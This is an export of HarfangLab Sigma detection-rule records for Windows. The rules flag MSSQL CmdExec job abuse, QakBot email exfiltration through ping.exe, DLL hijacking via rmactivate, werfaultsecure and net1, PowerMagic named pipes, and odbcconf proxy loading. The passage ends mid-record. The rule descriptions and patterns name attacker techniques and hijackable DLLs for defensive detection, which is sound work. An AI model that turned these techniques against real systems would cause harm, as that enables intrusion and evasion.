+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595616Z",
+  "creation_date": "2026-03-23T11:45:34.595619Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595627Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-cmdexec-job-step?view=sql-server-2016",
+    "https://book.shentoushi.top/Databases/Mssql.html",
+    "https://attack.mitre.org/techniques/T1190/",
+    "https://attack.mitre.org/techniques/T1059/003/",
+    "https://attack.mitre.org/techniques/T1505/001/"
+  ],
+  "name": "t1190_mssql_job_cmdexec_cmd.yml",
+  "content": "title: Suspicious Execution of cmd.exe via an MSSQL CmdExec Job\nid: 801a7bc0-ff7d-467e-91c6-47048e296a77\ndescription: |\n    Detects the suspicious execution of cmd.exe via an MSSQL job using the CmdExec subsystem.\n    Attackers may execute a CmdExec job in order to gain code execution on a machine hosting a compromised database engine.\n    It is recommended to check if this behavior is expected and check for malicious activities stemming from the newly created process.\nreferences:\n    - https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-cmdexec-job-step?view=sql-server-2016\n    - https://book.shentoushi.top/Databases/Mssql.html\n    - https://attack.mitre.org/techniques/T1190/\n    - https://attack.mitre.org/techniques/T1059/003/\n    - https://attack.mitre.org/techniques/T1505/001/\ndate: 2024/07/23\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1190\n    - attack.execution\n    - attack.t1059.003\n    - attack.persistence\n    - attack.t1505.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        GrandparentImage|endswith: '\\sqlagent.exe'\n        ParentImage|endswith: '\\cmd.exe'\n\n    filter_mssqltools:\n        Image|endswith:\n            - '\\Tools\\Binn\\\\*.exe'\n            - '\\DTS\\Binn\\\\*.exe'\n            - '\\COM\\\\*.exe'\n            - '\\shared\\\\*.exe'\n            - 'MSSQL\\\\Binn\\\\*.exe'\n            - '?:\\Windows\\WID\\Binn\\SqlDumper.exe'\n        ProcessSignature : 'Microsoft Corporation'\n        ProcessSigned: 'true'\n\n    filter_mssqltools_unsigned:\n        Image:\n            - '?:\\Program Files (x86)\\Microsoft SQL Server\\80\\Tools\\Binn\\DTSRun.exe'\n            - '?:\\Program Files\\Microsoft SQL Server\\\\*\\Tools\\Binn\\DTSRun.exe'\n\n    exclusion_sqlplus:\n        Image|endswith: '\\sqlplus.exe'\n\n    exclusion_gselector:\n        Image:\n            - '?:\\Program Files\\RCS\\GSelector\\Database\\Backup\\zip.exe'\n            - '?:\\Program Files\\RCS\\GSelector\\Database\\Backup\\RCS.GSelector.Services.BackupManager.ManifestWriter.exe'\n\n    exclusion_restart_service:\n        CommandLine:\n            - 'NET START MSOLAP$KPI'\n            - 'NET STOP MSOLAP$KPI'\n\n    exclusion_xcopy:\n        Image : '?:\\Windows\\System32\\xcopy.exe'\n\n    exclusion_benign_cmd:\n        Image: '?:\\Windows\\system32\\cmd.exe'\n        CommandLine:\n            - '?:\\Windows\\system32\\cmd.exe /S /D /c exit'\n            - '?:\\Windows\\system32\\cmd.exe /S /D /c echo y'\n            - '?:\\Windows\\system32\\cmd.exe /S /D /c echo.'\n            - '?:\\Windows\\system32\\cmd.exe /S /D /c echo *;check_alwayson;0;AlwaysOn OK'\n\n    exclusion_archive:\n        Image|endswith:\n            - ':\\Program Files\\7-Zip\\7z.exe'\n            - '\\PKZIP.EXE'\n\n    exclusion_common_export_tools:\n        - Image:\n            - '?:\\Windows\\System32\\ftp.exe'\n            - '?:\\Windows\\System32\\forfiles.exe'\n        - Image|endswith: '\\psftp.exe'\n          Company: 'Simon Tatham'\n        - Image|endswith:\n            - '\\WinSCP.com'\n            - '\\WinSCP.exe'\n          Company: 'Martin Prikryl'\n        - Image: '?:\\Windows\\System32\\cmd.exe'\n          CommandLine|startswith: '?:\\WINDOWS\\system32\\cmd.exe /c ForFiles /'\n\n    exclusion_normandinfo:\n        Image: '?:\\Program Files\\Normand Info\\RADV Web\\radvwebbackup.exe'\n\n    exclusion_nsca_sender:\n        Image|endswith: 'NSCA\\send_nsca.exe'\n\n    exclusion_conhost:\n        CommandLine|endswith: '\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "801a7bc0-ff7d-467e-91c6-47048e296a77",
+  "rule_name": "Suspicious Execution of cmd.exe via an MSSQL CmdExec Job",
+  "rule_description": "Detects the suspicious execution of cmd.exe via an MSSQL job using the CmdExec subsystem.\nAttackers may execute a CmdExec job in order to gain code execution on a machine hosting a compromised database engine.\nIt is recommended to check if this behavior is expected and check for malicious activities stemming from the newly created process.\n",
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.003",
+    "attack.t1190",
+    "attack.t1505.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8051fdf6-e79c-43be-99cd-a002fe7be9d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086360Z",
+  "creation_date": "2026-03-23T11:45:34.086362Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086366Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/",
+    "https://attack.mitre.org/techniques/T1041/",
+    "https://attack.mitre.org/techniques/T1114/001/"
+  ],
+  "name": "t1114_001_quakbot_collection_process.yml",
+  "content": "title: QakBot Malware Collection Detected\nid: 8051fdf6-e79c-43be-99cd-a002fe7be9d7\ndescription: |\n    Detects the QuakBot email exfiltration process.\n    To exflitrate emails, Quakbot spawns ping.exe and injects malicious exflitration code in it to collect emails from the device and exfiltrate them.\n    It is recommended to analyze the code injected into \"ping.exe\" using a memry dump job as well as to determine stolen email by looking at the filesystem telemetry.\nreferences:\n    - https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/\n    - https://attack.mitre.org/techniques/T1041/\n    - https://attack.mitre.org/techniques/T1114/001/\ndate: 2022/04/22\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1114.001\n    - attack.exfiltration\n    - attack.t1041\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Malware.Qakbot\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.Collection\n    - classification.Windows.Behavior.Exfiltration\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine|endswith: '\\ping.exe -t 127.0.0.1'\n        ParentImage|endswith:\n            - '\\explorer.exe'\n            - '\\iexplore.exe'\n            - '\\OneDriveSetup.exe'\n            - '\\msra.exe'\n            - '\\mobsync.exe'\n        GrandparentImage|endswith:\n            - '\\explorer.exe'\n            - '\\iexplore.exe'\n            - '\\OneDriveSetup.exe'\n            - '\\msra.exe'\n            - '\\mobsync.exe'\n            - '\\rundll32.exe'\n            - '\\regsvr32.exe'\n\n    condition: selection\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8051fdf6-e79c-43be-99cd-a002fe7be9d7",
+  "rule_name": "QakBot Malware Collection Detected",
+  "rule_description": "Detects the QuakBot email exfiltration process.\nTo exflitrate emails, Quakbot spawns ping.exe and injects malicious exflitration code in it to collect emails from the device and exfiltrate them.\nIt is recommended to analyze the code injected into \"ping.exe\" using a memry dump job as well as to determine stolen email by looking at the filesystem telemetry.\n",
+  "rule_creation_date": "2022-04-22",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1041",
+    "attack.t1114.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8055be23-57bb-4682-9f6d-89cd2d5f5649",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600095Z",
+  "creation_date": "2026-03-23T11:45:34.600098Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600106Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rmactivate.yml",
+  "content": "title: DLL Hijacking via rmactivate.exe\nid: 8055be23-57bb-4682-9f6d-89cd2d5f5649\ndescription: |\n    Detects potential Windows DLL Hijacking via rmactivate.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rmactivate.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.dll'\n            - '\\msdrm.dll'\n            - '\\isv.exe_rsaenh.dll'\n            - '\\ssp.exe_rsaenh.dll'\n            - '\\ssp_isv.exe_rsaenh.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8055be23-57bb-4682-9f6d-89cd2d5f5649",
+  "rule_name": "DLL Hijacking via rmactivate.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rmactivate.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8057d04e-6aa4-4704-8df2-db71b9e14d77",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097908Z",
+  "creation_date": "2026-03-23T11:45:34.097910Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097914Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_werfaultsecure.yml",
+  "content": "title: DLL Hijacking via werfaultsecure.exe\nid: 8057d04e-6aa4-4704-8df2-db71b9e14d77\ndescription: |\n    Detects potential Windows DLL Hijacking via werfaultsecure.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'werfaultsecure.exe'\n        ProcessSignature: 'Microsoft Windows Publisher'\n        ImageLoaded|endswith:\n            - '\\dbgcore.DLL'\n            - '\\faultrep.dll'\n            - '\\wer.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8057d04e-6aa4-4704-8df2-db71b9e14d77",
+  "rule_name": "DLL Hijacking via werfaultsecure.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via werfaultsecure.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "805af355-29f7-4a14-9fe3-f7a80b0442c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.607839Z",
+  "creation_date": "2026-03-23T11:45:34.607842Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.607850Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/bad-magic-apt/109087/",
+    "https://attack.mitre.org/techniques/T1559/"
+  ],
+  "name": "t1559_powermagic_named_pipes_connected.yml",
+  "content": "title: PowerMagic Malware Named Pipes Connected\nid: 805af355-29f7-4a14-9fe3-f7a80b0442c8\ndescription: |\n    Detects the connection to a Named Pipe pertaining to the PowerMagic malware.\n    PowerMagic is a Russian-developed espionage malware, that uses named pipes to communicate locally between its different components.\n    Adversaries can use named pipes to allow different malware components to communicate with each other as well as to communicate with other infected hosts through the network via SMB.\n    It is recommended to analyze actions taken by the process connecting to the named pipe and isolate infected systems if necessary.\nreferences:\n    - https://securelist.com/bad-magic-apt/109087/\n    - https://attack.mitre.org/techniques/T1559/\ndate: 2023/03/24\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1559\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Malware.PowerMagic\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: named_pipe_connection\ndetection:\n    selection:\n        PipeName:\n            - '\\PipeMd'\n            - '\\PipeCrDtMd'\n            - '\\PipeDtMd'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "805af355-29f7-4a14-9fe3-f7a80b0442c8",
+  "rule_name": "PowerMagic Malware Named Pipes Connected",
+  "rule_description": "Detects the connection to a Named Pipe pertaining to the PowerMagic malware.\nPowerMagic is a Russian-developed espionage malware, that uses named pipes to communicate locally between its different components.\nAdversaries can use named pipes to allow different malware components to communicate with each other as well as to communicate with other infected hosts through the network via SMB.\nIt is recommended to analyze actions taken by the process connecting to the named pipe and isolate infected systems if necessary.\n",
+  "rule_creation_date": "2023-03-24",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "805b62d6-ab4d-48d9-b108-d72780a75680",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069887Z",
+  "creation_date": "2026-03-23T11:45:34.069889Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069894Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/",
+    "https://twitter.com/Kostastsale/status/1541930866959454208",
+    "https://attack.mitre.org/techniques/T1218/008/"
+  ],
+  "name": "t1218_odbcconf_suspicious_dll_load.yml",
+  "content": "title: Suspicious DLL Loaded by odbcconf.exe\nid: 805b62d6-ab4d-48d9-b108-d72780a75680\ndescription: |\n    Detects a suspicious DLL loaded by odbcconf.exe, a command-line tool that allows to configure ODBC drivers and data source names.\n    Attackers can use odbcconf.exe to load their malicious DLLs.\n    It is recommended to investigate the loaded library to determine the legitimacy of this action.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/\n    - https://twitter.com/Kostastsale/status/1541930866959454208\n    - https://attack.mitre.org/techniques/T1218/008/\ndate: 2022/06/30\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.008\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.LOLBin.Odbcconf\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName : 'odbcconf.exe'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n            - 'TeamViewer GmbH'\n            - 'Citrix Systems, Inc.'\n            - 'Bitdefender SRL'\n            - 'Symantec Corporation'\n            - 'McAfee, Inc.'\n\n    exclusion_system_common_files:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\Common Files\\System\\'\n            - '?:\\Program Files (x86)\\Common Files\\System\\'\n\n    exclusion_informix:\n        ImageLoaded|startswith: '?:\\Program Files\\Informix Client-SDK\\bin\\'\n\n    exclusion_bitdefender:\n        ImageLoaded:\n            - '?:\\Program Files\\Bitdefender\\Endpoint Security\\atcuf\\dlls_*\\atcuf??.dll'\n            - '?:\\Program Files\\Bitdefender\\Endpoint Security\\bdhkm\\dlls_*\\bdhkm??.dll'\n\n    exclusion_mysql:\n        # C:\\Program Files (x86)\\MySQL\\Connector ODBC 3.51\\myodbc3S.dll\n        ImageLoaded: '?:\\Program Files (x86)\\MySQL\\Connector ODBC *\\myodbc3S.dll'\n\n    exclusion_oracle:\n        ProcessCommandLine: '?:\\windows\\SysWOW64\\odbcconf.exe CONFIG* Oracle* DSN=*|Server=*'\n        ImageLoaded:\n            - '?:\\ProgramData\\App-V\\\\????????-????-????-????-????????????\\\\????????-????-????-????-????????????\\Root\\\\*.dll'\n            - '?:\\oracle\\product\\\\*\\client*\\BIN\\\\*.dll'\n\n    exclusion_mariadb:\n        ImageLoaded: '?:\\Program Files (x86)\\MariaDB\\MariaDB ODBC Driver\\maodbc*.dll'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "805b62d6-ab4d-48d9-b108-d72780a75680",
+  "rule_name": "Suspicious DLL Loaded by odbcconf.exe",
+  "rule_description": "Detects a suspicious DLL loaded by odbcconf.exe, a command-line tool that allows to configure ODBC drivers and data source names.\nAttackers can use odbcconf.exe to load their malicious DLLs.\nIt is recommended to investigate the loaded library to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2022-06-30",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.008"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "80817c0a-7bb5-410a-a3cd-83171dc0be80",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095906Z",
+  "creation_date": "2026-03-23T11:45:34.095909Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095913Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_net1.yml",
+  "content": "title: DLL Hijacking via net1.exe\nid: 80817c0a-7bb5-410a-a3cd-83171dc0be80\ndescription: |\n    Detects potential Windows DLL Hijacking via net1.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'net1.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.dll'\n            - 